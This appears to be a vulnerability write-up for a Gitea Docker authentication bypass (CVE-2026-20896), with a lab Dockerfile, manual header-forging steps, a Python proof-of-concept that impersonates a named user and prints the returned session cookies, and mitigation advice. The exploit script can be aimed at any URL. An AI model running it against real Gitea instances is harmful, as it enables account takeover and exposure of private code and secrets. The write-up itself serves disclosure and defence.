An explanation and PoC to exploit CVE-2026-20896 Authentication Bypass Vulnerability on Gitea. Being able to steal session tokens for valid users in the Gitea instance.
Gitea is a lightweight, open-source Git hosting platform that allows organizations and developers to manage source code repositories, track issues, review changes, and collaborate on software projects. It provides functionality similar to platforms such as GitHub and GitLab, but is designed to be self-hosted, efficient, and easy to maintain, making it suitable for organizations that want greater control over their code and development infrastructure.
CVE-2026-20896 is a critical authentication-bypass vulnerability in the official Gitea Docker image, rated CVSS 9.8 (Critical). It affects Gitea Docker images up to and including 1.26.2. The underlying issue is an unsafe default configuration:
REVERSE_PROXY_TRUSTED_PROXIES = *, which causes Gitea to trust reverse-proxy authentication headers originating from any IP address. When reverse-proxy authentication is enabled, an unauthenticated remote attacker can therefore supply a forgedX-WEBAUTH-USERheader and have Gitea treat the attacker as the specified user. In particular, impersonating an administrator can result in complete administrative access without requiring a password or valid authentication token.
The potential impact is severe, because administrative access to Gitea can expose private source-code repositories, credentials and CI/CD secrets, and allow modification of repositories, SSH keys, webhooks, and other security-sensitive settings. The vulnerability is specifically relevant to deployments using the affected Docker image together with reverse-proxy authentication; it is not simply a flaw in Gitea's normal password authentication mechanism. Gitea addressed the issue in version 1.26.3, and administrators should upgrade to a current patched release and review their reverse-proxy trust configuration rather than relying on the insecure wildcard setting. Reports have also indicated exploitation attempts against exposed Gitea instances, making prompt remediation particularly important.
We will run a Docker Container using a vulnerable version of Gitea, in this case the 1.26.2 version using the following Dockerfile:
FROM gitea/gitea:1.26.2
# Reverse-proxy authentication must be enabled to reproduce the vulnerable
# authentication flow described by CVE-2026-20896.
ENV GITEA__database__DB_TYPE=sqlite3 \
GITEA__database__PATH=/data/gitea/gitea.db \
GITEA__security__INSTALL_LOCK=true \
GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true
RUN <<'EOF'
cat > /usr/local/bin/lab-entrypoint <<'SCRIPT'
#!/bin/sh
set -eu
CONFIG=/data/gitea/conf/app.ini
URL=http://127.0.0.1:3000
ADMIN_PASSWORD='Password123$!'
# Start Gitea using the original image entrypoint.
/usr/bin/entrypoint "$@" &
pid=$!
trap 'kill -TERM "$pid" 2>/dev/null || true' TERM INT
# Wait until Gitea is ready before creating the lab account.
until curl -fsS "$URL/api/healthz" >/dev/null 2>&1; do
sleep 1
done
# Create a local administrator account for vulnerability verification.
su-exec git gitea admin user create \
--config "$CONFIG" \
--username jbkira \
--password "$ADMIN_PASSWORD" \
--email [email protected] \
--admin \
--must-change-password=false \
>/dev/null
wait "$pid"
SCRIPT
chmod +x /usr/local/bin/lab-entrypoint
EOF
ENTRYPOINT ["/usr/local/bin/lab-entrypoint"]
Then to build the docker container use the following command:
docker build -t gitea-cve-2026-20896-lab .
Finally, deploy the docker container using the following command:
docker run -d --name gitea-cve-2026-20896 -p 3000:3000 gitea-cve-2026-20896-lab
If we know the name of any user on the Gitea instance, we can impersonate it abusing the header
X-WEBAUTH-USER: username, in this lab, we created a user called jbkira so we will capture a normal unauthenticated access to the mainpage of Gitea using a proxy, for example I will be using BurpSuite and we will put the header:
If we forward that request with the
X-WEBAUTH-USERheader, when we go again to the Gitea page on our browser we will see that we are now logged in as the jbkira user. But it doesn't work always that way, so I created a PoC Script that performs the attack and steals the target user's session cookie, that you can then copy and paste it into your browser to get access to the target user.
Automated PoC in Python that abuses the Authentication Bypass flaw and steals the session cookie of the target user:
import requests
import argparse
# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"
def attack(url, target_user):
METHOD = "GET"
HEADERS = {
"User-Agent": "Mozilla/5.0",
"X-WEBAUTH-USER": f"{target_user}",
}
resp = requests.request(method=METHOD,url=url,headers=HEADERS,verify=False)
print(f"[+] Status code: {resp.status_code}\n")
# Cookies that the server has set (via Set-Cookie)
if resp.cookies:
print(f"{GREEN}[+] Cookies retrieved for user {target_user}:{RESET}")
for cookie in resp.cookies:
print(f" {cookie.name} = {cookie.value}")
else:
print(f"{RED}[-] The server has not returned any cookies.{RESET}")
def argparse_setup():
parser = argparse.ArgumentParser(description="Exploit for Gitea Authentication Bypass (CVE-2026-20896) created by JBKira")
parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:3000/)", required=True)
parser.add_argument("-t", "--target-user", help="Target user for authentication bypass", required=True)
return parser.parse_args()
def banner():
print(f"{YELLOW}")
print(r"""
███ █ █ █████ ███ ███ ███ ███ ███ ███ ███ ███ ███
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
█ █ █ ████ ████ █ █ █ █ ████ ████ █ █ █ ███ ████ ████
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
███ █ █████ █████ ███ █████ ███ █████ ███ ███ ███ ███
""")
print(f"CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira{RESET}")
print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")
def main():
banner()
args = argparse_setup()
attack(args.url, args.target_user)
if __name__ == "__main__":
main()
Example usage:
┌──(kali㉿jbkira)-[~/Desktop/PoCs/gitea-CVE-2026-20896]
└─$ python3 poc.py -u http://localhost:3000 -t jbkira
███ █ █ █████ ███ ███ ███ ███ ███ ███ ███ ███ ███
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
█ █ █ ████ ████ █ █ █ █ ████ ████ █ █ █ ███ ████ ████
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
███ █ █████ █████ ███ █████ ███ █████ ███ ███ ███ ███
CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira
github.com/judgedbykira | linkedin.com/in/yeray-medina
Only use this in real penetration tests or lab environments. Unauthorized use is illegal.
[+] Status code: 200
[+] Cookies retrieved for user jbkira:
i_like_gitea = e12680e9c4e6e894
lang = en-US
The primary mitigation for CVE-2026-20896 is to upgrade Gitea from 1.26.2 or earlier to 1.26.3 or later, as 1.26.3 contains the security fix for this vulnerability. If an immediate upgrade is not possible, administrators should explicitly configure
REVERSE_PROXY_TRUSTED_PROXIESto contain only the IP address or subnet of the legitimate authenticating reverse proxy, rather than*, and ensure that Gitea's HTTP port cannot be reached directly by untrusted clients. This is particularly important whenENABLE_REVERSE_PROXY_AUTHENTICATION=true, because the vulnerability allows an untrusted source to injectX-WEBAUTH-USERand impersonate existing users.
Credits for Ali Mustafa @rz1027 for discovering and disclosing the vulnerability.